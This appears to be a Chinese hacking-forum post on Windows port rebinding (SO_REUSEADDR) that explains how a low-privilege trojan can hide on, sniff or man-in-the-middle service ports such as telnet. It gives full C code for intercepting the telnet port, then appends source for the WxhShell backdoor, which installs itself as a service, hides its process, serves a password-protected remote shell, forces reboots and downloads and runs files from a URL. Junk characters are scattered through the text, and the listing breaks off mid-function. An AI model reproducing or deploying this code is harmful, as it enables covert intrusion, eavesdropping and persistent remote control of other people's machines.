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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /"8|26  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V#+F*w?&D  
VS!v7-_N5  
  saddr.sin_family = AF_INET; I~Qi):&x  
c4r9k-w0E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1~},}S]id  
OF )*kiJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yjq|8.L[ G  
0LSJQ9\p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D #7q3s  
H<;~u:;8Q  
  这意味着什么?意味着可以进行如下的攻击: ]m7x&N2  
[ wnaF|h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]=]MJ3_7  
eAqpP>9n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hy@b/Y![M  
=fdW H4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?GtI.flV  
NB86+2stu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JoZzX{eu"  
:Bu)cy#/[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e 'F:LMX  
sY?wQ:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c/:k|x  
94]i|2qj*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cM4{ e^  
"DH>4Q] d  
  #include U!K#g_}  
  #include g!r) yzK  
  #include PnB2a'(^@?  
  #include    <OJqeUo+*\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M'oZK  
  int main() S v#,L8f  
  { MZh?MaBz06  
  WORD wVersionRequested; \:'6_K  
  DWORD ret; h(3-/4  
  WSADATA wsaData; .I$+ E  
  BOOL val; lz1cLl m  
  SOCKADDR_IN saddr;  -)KNsW  
  SOCKADDR_IN scaddr; h|i b*%P_  
  int err; 1jAuW~  
  SOCKET s; 2R^Eea  
  SOCKET sc; 2+p XtP@O  
  int caddsize; Fpwhyls  
  HANDLE mt; tB4yj_ZF  
  DWORD tid;   qPJSVo  
  wVersionRequested = MAKEWORD( 2, 2 ); %K06owV(S)  
  err = WSAStartup( wVersionRequested, &wsaData ); +Jn\`4/J:  
  if ( err != 0 ) { 0ia-D`^me  
  printf("error!WSAStartup failed!\n"); v6E5#pse8  
  return -1; g:U -kK!i  
  } yS[HYq  
  saddr.sin_family = AF_INET; tK'9%yA\  
   qSD3]Dv"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B<$6Dj%L  
-%K}~4J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &%k_BdlkQ  
  saddr.sin_port = htons(23); St> E\tXp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Goy[P2m  
  { +^J;ic  
  printf("error!socket failed!\n"); '"ze Im~  
  return -1; 5B8fz;l= B  
  } N=~DSsw  
  val = TRUE; P3Ah1X7W"C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v |pHbX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aSJD'u4w.a  
  { kho0@o+'^  
  printf("error!setsockopt failed!\n"); /^I!)|At  
  return -1; qg<Y^ y  
  } jHA(mU)b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HqV4!o9'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 olXfR-2>1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |  >yc|W  
9}42s+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J~ +p7S  
  { fD8GAav  
  ret=GetLastError(); k)y<iHR_o  
  printf("error!bind failed!\n"); |?MD>Pez  
  return -1; A@4{-e\  
  } JRE\R&>g  
  listen(s,2); nr( C*E  
  while(1) -~H "zu`  
  { ymnK`/J!Q  
  caddsize = sizeof(scaddr); m`Z.xIA7;  
  //接受连接请求 ycvgF6Me<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BGOS(  
  if(sc!=INVALID_SOCKET) :Dtm+EQ  
  { &NbSG+t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jYBiC DD  
  if(mt==NULL) =*>.z@WQ  
  { eu$"GbqY  
  printf("Thread Creat Failed!\n"); 2 '$nz  
  break; rg 0u#-  
  } {!wd5C@  
  } $"}*#<Z  
  CloseHandle(mt); IF<T{/MA  
  } |%3>i"Y@AK  
  closesocket(s); 4$ah~E>,t  
  WSACleanup(); LfCgvq6/pO  
  return 0; &g0r#K  
  }   R mo'3  
  DWORD WINAPI ClientThread(LPVOID lpParam) i3Xo6!Q  
  { AP4s_X+=  
  SOCKET ss = (SOCKET)lpParam; :`<MlX  
  SOCKET sc; T8W^qrx.v  
  unsigned char buf[4096]; e ^`La*n  
  SOCKADDR_IN saddr; 8vfC  
  long num; <$#^)]Ts  
  DWORD val; TQ[J,  
  DWORD ret; _. EM])b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C8 }=fa3u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vNZ"x)?  
  saddr.sin_family = AF_INET; e ]2GAJLI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z7?\ >4V  
  saddr.sin_port = htons(23); %j{*`}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {W%XS E  
  { oL!C(\ERh  
  printf("error!socket failed!\n"); 4Yt'I#*  
  return -1; }?O>.W,/  
  } B2WPbox  
  val = 100; 5a2;@ }%V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .R@XstQ  
  { }wJH@'0+  
  ret = GetLastError(); 0wF)bQv1  
  return -1; GW7+#  
  } X]\; f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,Hp7`I>/  
  { r CUs  
  ret = GetLastError(); }We-sZ/w7r  
  return -1; 3-[+g}kak?  
  } r $YEq5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )2u_c=  
  { UjyrmQf  
  printf("error!socket connect failed!\n"); 9PaV*S(\TR  
  closesocket(sc); (S6>^:;=~  
  closesocket(ss); ]IDhE{  
  return -1; V~Jt  
  } Tq6\oIBkV  
  while(1) e#WASHZN  
  { !QME!c>*$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GNW.n(a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @f,/K1k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )U8=-_m  
  num = recv(ss,buf,4096,0); ZK<c(,oZ^  
  if(num>0) 5 (q4o`  
  send(sc,buf,num,0); "=$uv  
  else if(num==0) *fLVzYpo  
  break; azRp4~2?  
  num = recv(sc,buf,4096,0); S]4!uv^y  
  if(num>0) N,F[x0&?  
  send(ss,buf,num,0); 5UG"i_TC  
  else if(num==0) 4]xD-sc  
  break; lcfs 1].  
  } uE.. 1N&*  
  closesocket(ss); NZ+TTMv  
  closesocket(sc); "od 2i\  
  return 0 ; =t|,6Vp  
  } bY~V?yNgKM  
I y5)SZ'  
\"Qa)1 |  
========================================================== uOh  
LF+E5{=:R  
下边附上一个代码,,WXhSHELL `84,R!  
V%`\x\Xat  
========================================================== Ac}5,  
H}8kku>7  
#include "stdafx.h" ]7q|) S\  
`y{[e j  
#include <stdio.h> `@So6%3Y|  
#include <string.h> @jZ1WHS_a  
#include <windows.h> f'Oj01[  
#include <winsock2.h> 9j 0o)]  
#include <winsvc.h> <uo@k'   
#include <urlmon.h> /8"rCh|m-  
}z2[w@M  
#pragma comment (lib, "Ws2_32.lib") VLfKN)g  
#pragma comment (lib, "urlmon.lib") <EY{goW  
AMK(-=  
#define MAX_USER   100 // 最大客户端连接数 D23 c/8K  
#define BUF_SOCK   200 // sock buffer E0u&hBd3_  
#define KEY_BUFF   255 // 输入 buffer c&PaJm  
|>wGl  
#define REBOOT     0   // 重启 QM7B FS;  
#define SHUTDOWN   1   // 关机 hK %FpGYA  
tNYuuC%N  
#define DEF_PORT   5000 // 监听端口 U@53VmrOy  
0E@*&Ru  
#define REG_LEN     16   // 注册表键长度 NuXII-  
#define SVC_LEN     80   // NT服务名长度 &&zsUAkS  
,=: -&~?  
// 从dll定义API HY(XI u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ROO@EQ#`Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E+$D$a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vLGnLpt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z]&?}o  
g#G ]}8C  
// wxhshell配置信息 ezS@`_pR;  
struct WSCFG { N).'>  
  int ws_port;         // 监听端口 zT>BC}~.b  
  char ws_passstr[REG_LEN]; // 口令 1=PTiDMJ<*  
  int ws_autoins;       // 安装标记, 1=yes 0=no tCv}+7)   
  char ws_regname[REG_LEN]; // 注册表键名 F4IU2_CnPD  
  char ws_svcname[REG_LEN]; // 服务名 %{? 9#))  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )kYDN_W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xwd9-:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v z&88jt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x]IJ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gOm8 O,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {/qQ=$t  
O .jCDAP  
}; z:&/O&?  
-Q|]C{r  
// default Wxhshell configuration ~"8r=8|  
struct WSCFG wscfg={DEF_PORT, X,}(MW  
    "xuhuanlingzhe", bKEiS8x  
    1, 9|m:2["|?  
    "Wxhshell", jVqpokWH  
    "Wxhshell", COHook(:  
            "WxhShell Service", /-+hMYe  
    "Wrsky Windows CmdShell Service", 7j88^59  
    "Please Input Your Password: ", thE9fr/  
  1, d)d0,fi?-  
  "http://www.wrsky.com/wxhshell.exe", v[)8 1uY  
  "Wxhshell.exe" TYCjVxfu$  
    }; Q(x/&]7=V  
0g#xQzE  
// 消息定义模块 }L=Qp=4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bGxHzzU}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `v)ZOw9&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oqzWL~  
char *msg_ws_ext="\n\rExit."; bV+2U  
char *msg_ws_end="\n\rQuit."; aj<r=  
char *msg_ws_boot="\n\rReboot..."; e%IbM E]x  
char *msg_ws_poff="\n\rShutdown..."; jsP+,brO  
char *msg_ws_down="\n\rSave to "; cM]ZYi  
w: mm@8N  
char *msg_ws_err="\n\rErr!"; ZKM@U?PK  
char *msg_ws_ok="\n\rOK!"; #$}A$sm  
5=8t<v1Bn  
char ExeFile[MAX_PATH]; !lBK!'0  
int nUser = 0; 7}`FXB  
HANDLE handles[MAX_USER]; Fh/sD?  
int OsIsNt; [2!C ^ \t  
xqQK-?k  
SERVICE_STATUS       serviceStatus; T2Yc` +  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ph~BxK )i6  
ux6p2Sk;K  
// 函数声明 k *>"@  
int Install(void); ;d FJqo82  
int Uninstall(void); %"WhD'*z}  
int DownloadFile(char *sURL, SOCKET wsh); \s!x;nw[  
int Boot(int flag); pF(6M3>IN  
void HideProc(void); #$F*.vQSs+  
int GetOsVer(void); kdaq_O:s  
int Wxhshell(SOCKET wsl); M`E}1WNQ?]  
void TalkWithClient(void *cs); 5Vai0Qfcu:  
int CmdShell(SOCKET sock); Z;njSw%:  
int StartFromService(void); *,~L_)vWO  
int StartWxhshell(LPSTR lpCmdLine); <(H<*Xf9  
0%)T]SDS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hE<Sm*HU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EV7lgKM^  
&xp]9$  
// 数据结构和表定义 l=x(   
SERVICE_TABLE_ENTRY DispatchTable[] = /!qP=ngw9  
{ 3[8p,wx  
{wscfg.ws_svcname, NTServiceMain}, OL_jU2,fv  
{NULL, NULL} Av4(=}M}@  
}; :6/$/`I0W  
vKfjP_0$  
// 自我安装 NK'@.=$  
int Install(void) Sh?eb  
{ qW'L}x  
  char svExeFile[MAX_PATH]; J~50#vHY  
  HKEY key; Nr).*]g@~  
  strcpy(svExeFile,ExeFile); dGz4`1(>  
]wi0qc2 {  
// 如果是win9x系统,修改注册表设为自启动 mI]gDL1  
if(!OsIsNt) { 5"X@<;H%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %0Qq~J@Lu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e1%kW1Z9  
  RegCloseKey(key); %?Q&a ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9ExI,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \L`x![$~q  
  RegCloseKey(key); $\|Q+7lQ  
  return 0; `6;$Z)=.  
    } ]2 $T 6  
  } X4Pm&ol  
} lxr;AJ(  
else { j(k}NWPH  
`r-3"or/$  
// 如果是NT以上系统,安装为系统服务 $cU7)vmK`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B2|0.G|[j  
if (schSCManager!=0) DIJmISk  
{ )dh`aQ%N "  
  SC_HANDLE schService = CreateService RD=V`l{Z  
  ( L&~'SC  
  schSCManager, upX@8WxR  
  wscfg.ws_svcname, c((bUjS'=Y  
  wscfg.ws_svcdisp, B9%%jEH*  
  SERVICE_ALL_ACCESS, dZI["FeO&d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^@{"a  
  SERVICE_AUTO_START, *u",-n  
  SERVICE_ERROR_NORMAL, c?REDj2  
  svExeFile, uGm?e]7Hx<  
  NULL, =;E0PB_w  
  NULL, [;4;. V  
  NULL, M'F<1(  
  NULL, c{KJNH%7  
  NULL s|`wi}"x  
  ); YD0hDp  
  if (schService!=0) VR\}*@pNp  
  { M"bG(a(6:  
  CloseServiceHandle(schService); e`q*'u1?  
  CloseServiceHandle(schSCManager); vU]n0)<KB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @LSh=o+  
  strcat(svExeFile,wscfg.ws_svcname); u[oV Jvc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T7Y}v,+-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]>Gi_20*.  
  RegCloseKey(key); ;NrPMz  
  return 0; &flRrJ  
    } EU04U  
  } #TC}paIpj  
  CloseServiceHandle(schSCManager); |\/\FK]?]  
} =8%*Rrj^  
} 1N:~5S}s>  
i]L=M 5^C  
return 1; rHk,OC  
} ek]nLN  
E@n~ @|10  
// 自我卸载 lI+^}-<  
int Uninstall(void) 8n-Xt7z  
{ IV1Y+Z )  
  HKEY key; 8S8UV(K0  
TbN{ex*  
if(!OsIsNt) { ,D]g]#Lq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 72.Msnn  
  RegDeleteValue(key,wscfg.ws_regname); pnyu&@e  
  RegCloseKey(key); Bq1}"092  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ewHs ]V+U  
  RegDeleteValue(key,wscfg.ws_regname); ';c 6  
  RegCloseKey(key); ?Zsh\^k.g  
  return 0; ^8J`*R8CL  
  } 6EO@ Xf7,  
} VX>j2Z'  
} 6x=w-32+ y  
else { zSU,le  
oif|X7H;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [u37 Hy_Gi  
if (schSCManager!=0) I,`;#Q)nx  
{ )tnbl"0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4y?n62N8$  
  if (schService!=0) C/#pK2xY  
  { 'Cz*p,  
  if(DeleteService(schService)!=0) { jD}h`(bE  
  CloseServiceHandle(schService); ?6{g7S%  
  CloseServiceHandle(schSCManager); O`"~AY&  
  return 0; +!E9$U>6%  
  } ]!@=2kG4  
  CloseServiceHandle(schService); 0a^bAEP  
  } |WEl5bNc3  
  CloseServiceHandle(schSCManager); X!mJUDzh]  
} u[Si=)`VPk  
} `JpFqZ'58  
6vR6=@(`>  
return 1; }qhYHC  
} -aS@y.z  
QB!_z4UJ_;  
// 从指定url下载文件 3\ ,t_6}  
int DownloadFile(char *sURL, SOCKET wsh) x[Hx.G}5+  
{ 4,Oa(b  
  HRESULT hr; <\O8D0.d  
char seps[]= "/"; $eG_LY 1v  
char *token; _X mxBtk9f  
char *file; 6M_:D  
char myURL[MAX_PATH]; _aF8Us  
char myFILE[MAX_PATH]; D,[Nn_N  
]'M B3@T  
strcpy(myURL,sURL); UcOP 0_/  
  token=strtok(myURL,seps); +,AzxP _y  
  while(token!=NULL) xkiiQs)  
  { :vzIc3~c:`  
    file=token; }LKD9U5;8  
  token=strtok(NULL,seps); *Egg*2P;"Q  
  } L8!yP.3   
9H/R@i[E  
GetCurrentDirectory(MAX_PATH,myFILE); v}a {nU'  
strcat(myFILE, "\\"); ~:o$}`mW  
strcat(myFILE, file); 'SoBB:  
  send(wsh,myFILE,strlen(myFILE),0); 5`+9<8V  
send(wsh,"...",3,0); dE_"|,:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )h&@}#A09  
  if(hr==S_OK) (d D7"zQ  
return 0; .%e>>U>F  
else ~<9e }J  
return 1; J -Lynvqm  
6$=>ckP  
} Z`M pH  
m"'LT0nur  
// 系统电源模块 US(RWXyg  
int Boot(int flag) %.r \P@7/Q  
{ p9u*l  
  HANDLE hToken; A%HIfSzQBS  
  TOKEN_PRIVILEGES tkp; $p4e8j[EJ  
G9LWnyQt  
  if(OsIsNt) { Sw,*#98  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 58HA*w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Aq]I$  
    tkp.PrivilegeCount = 1; !rAH@y.l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [+pa,^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gh\u@#$8  
if(flag==REBOOT) { ,=4,eCS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z|Rc54Ct  
  return 0; @KU;' th  
} >yXhP6  
else { g3&nxZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a^@.C5  
  return 0; N>"L2E=z$|  
}  Fpn*]x  
  } 0m4M@94  
  else { w43b=7  
if(flag==REBOOT) { .'_}:~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aF+Lam(  
  return 0; #)xlBq4cZ  
} 'uDx$AkY  
else { ;*j K!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tzGQo5\  
  return 0; qve'Gm)  
} {.A N4  
} FGHCHSqLq  
d4  \  
return 1; }*QK;#NEc  
} ,3T"fT-(  
QY&c=bWAX"  
// win9x进程隐藏模块 !37I2*+4  
void HideProc(void) 7`t"fS  
{ h+j^VsP zB  
7:pc%Ksq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {\0V$#q   
  if ( hKernel != NULL ) ' *a}*(0OA  
  { e3TKQ (  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l`N#~<.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S@u46X>  
    FreeLibrary(hKernel); d[,Rgdd@I  
  } Q\kWQOB_  
I@6+AU~,6  
return; pMHl<HH  
} \L~^c1s3r  
s.Z{mnD6  
// 获取操作系统版本 r[}nrH&8  
int GetOsVer(void) uuwJ-  
{ ]goJ- &  
  OSVERSIONINFO winfo; dLb$3!3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lCp6UkE  
  GetVersionEx(&winfo); *w(n%f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .G\](%  
  return 1; ;xz_H$g  
  else 9M27;"gK  
  return 0; "0jwCX Cu  
} d%qi~koN_  
3c6e$/  
// 客户端句柄模块 9|<Li[  
int Wxhshell(SOCKET wsl) f|w;u!U(  
{ B//*hH >F  
  SOCKET wsh; ri8=u$!  
  struct sockaddr_in client; I@Hx LEGj  
  DWORD myID; 3WQa^'u  
lPxhqF5pP  
  while(nUser<MAX_USER) TaYl[I  
{ +%\Ci!%b  
  int nSize=sizeof(client); qCcLd7`$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 81y<Uz 6  
  if(wsh==INVALID_SOCKET) return 1; \ .#Y  
&}e>JgBe0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ux1(>  
if(handles[nUser]==0) duEXp]f!  
  closesocket(wsh); "y"oV[`  
else ynM~&]fk#k  
  nUser++; tkHmH/'7  
  } _"Ym]y28li  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &v((tZ  
qqZ4K:oC,  
  return 0; N9G xJ6  
} tkk8b6%h?p  
QK6_dIvDz  
// 关闭 socket =Mwuhk|*  
void CloseIt(SOCKET wsh) Cscu   
{ |s/N ?/qi  
closesocket(wsh); iy]L"7&Z2  
nUser--; 0;><@{'  
ExitThread(0); Cn 5"zDK$  
} 3>7{Q_5  
qypF}Pw  
// 客户端请求句柄 hu0z 36  
void TalkWithClient(void *cs) %/e'6g<  
{  ;303fS  
bR"4:b>K  
  SOCKET wsh=(SOCKET)cs; QAxy?m,'  
  char pwd[SVC_LEN]; \K\eq>@6  
  char cmd[KEY_BUFF]; KPz0;2}  
char chr[1]; q>'#;QA  
int i,j; 6T4DuF   
 \8C<nh  
  while (nUser < MAX_USER) { &Wa3/mWK  
)tJaw#Mih  
if(wscfg.ws_passstr) { l#v52  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s) s9Z,HY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f:\)! &W  
  //ZeroMemory(pwd,KEY_BUFF); ~ i+XVo  
      i=0; :l]qTCmY  
  while(i<SVC_LEN) { AP>n-Z|  
W"@'}y  
  // 设置超时 (kO(R#M  
  fd_set FdRead; zdPJ>PNU  
  struct timeval TimeOut; P^F3,'N  
  FD_ZERO(&FdRead); 2Cy,#X%j>  
  FD_SET(wsh,&FdRead); 6X A(<1P  
  TimeOut.tv_sec=8; $t& o(]m  
  TimeOut.tv_usec=0; x[TLlV:{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 30WOH 'n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iNkN'("  
D`G;C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )=gU~UV  
  pwd=chr[0]; mYo~RXKGF  
  if(chr[0]==0xd || chr[0]==0xa) { ~ :{mKc  
  pwd=0; *ezMS   
  break; IfB .2e`  
  } Ump Hae  
  i++; qZ>_{b0f  
    } 'vt Jl  
Zl9  
  // 如果是非法用户,关闭 socket -`Z!p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fCNQUK{Gs5  
} B2$cY;LH  
M {'(+a[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |H5GWZ O{^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gzhIOeY  
M __S)  
while(1) { XgVhb<l_  
1!)'dL0mI  
  ZeroMemory(cmd,KEY_BUFF); p8j4Tc5tQ>  
Jjj;v2uSK  
      // 自动支持客户端 telnet标准   PJm@fK(j  
  j=0; 3r[F1z2B  
  while(j<KEY_BUFF) { Ii}{{1N6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yph@H!@  
  cmd[j]=chr[0]; ))dqC l  
  if(chr[0]==0xa || chr[0]==0xd) { cyd&bxPgj+  
  cmd[j]=0;  ZaaBg  
  break; M9fQ,<c<6  
  } <%w TI<m,-  
  j++; rkWy3X{%2<  
    } T[e+iv<8j  
U:7w8$_  
  // 下载文件 &?p( UY7'"  
  if(strstr(cmd,"http://")) { WQCnkP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xv147"w'v  
  if(DownloadFile(cmd,wsh)) d, i4WKp   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $; _{|{Yj  
  else uIO?4\s&G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *uK!w(;2  
  } tkptm%I _  
  else { WRbdv{ 1E  
f:P;_/cJc  
    switch(cmd[0]) { xa_ IdkV  
  R(_WTs9x4  
  // 帮助 6*$A/D  
  case '?': { lUq `t K8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6IK>v*<  
    break; LdiNXyyzet  
  } >_]Ov:5  
  // 安装 s+ *LVfau  
  case 'i': { 9+ve0P7$  
    if(Install()) U . <c#S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kda*rl~c  
    else Zd-QZ<c";t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c"CR_  
    break; leSBR,C  
    } sT iFh"8d>  
  // 卸载 ODpAMt"  
  case 'r': { 4\V/A+<W  
    if(Uninstall()) @pJ;L1sn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I WT|dA >  
    else I%[Tosud<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Nm{.Y  
    break; 75P!`9bE  
    } x)%"i)  
  // 显示 wxhshell 所在路径 k&K'FaM!  
  case 'p': { 1p/_U?H:|  
    char svExeFile[MAX_PATH]; !p36OEx  
    strcpy(svExeFile,"\n\r"); ^^uY)AL  
      strcat(svExeFile,ExeFile); .}!.: |  
        send(wsh,svExeFile,strlen(svExeFile),0); X?r$o>db  
    break; J1M9) ,  
    } MdkL_YP}.  
  // 重启 p@DVy2,EY  
  case 'b': { nC$ c.K'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j{t r''yN  
    if(Boot(REBOOT)) U CFw+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+0#H39&  
    else { j:48l[;ed  
    closesocket(wsh); 1v|0&{lB  
    ExitThread(0); voP #}fD  
    } Ka)aBU9  
    break; nhm#_3!6A  
    } WwKpZ67$R  
  // 关机 ,&O&h2=  
  case 'd': { HyQ(9cn |  
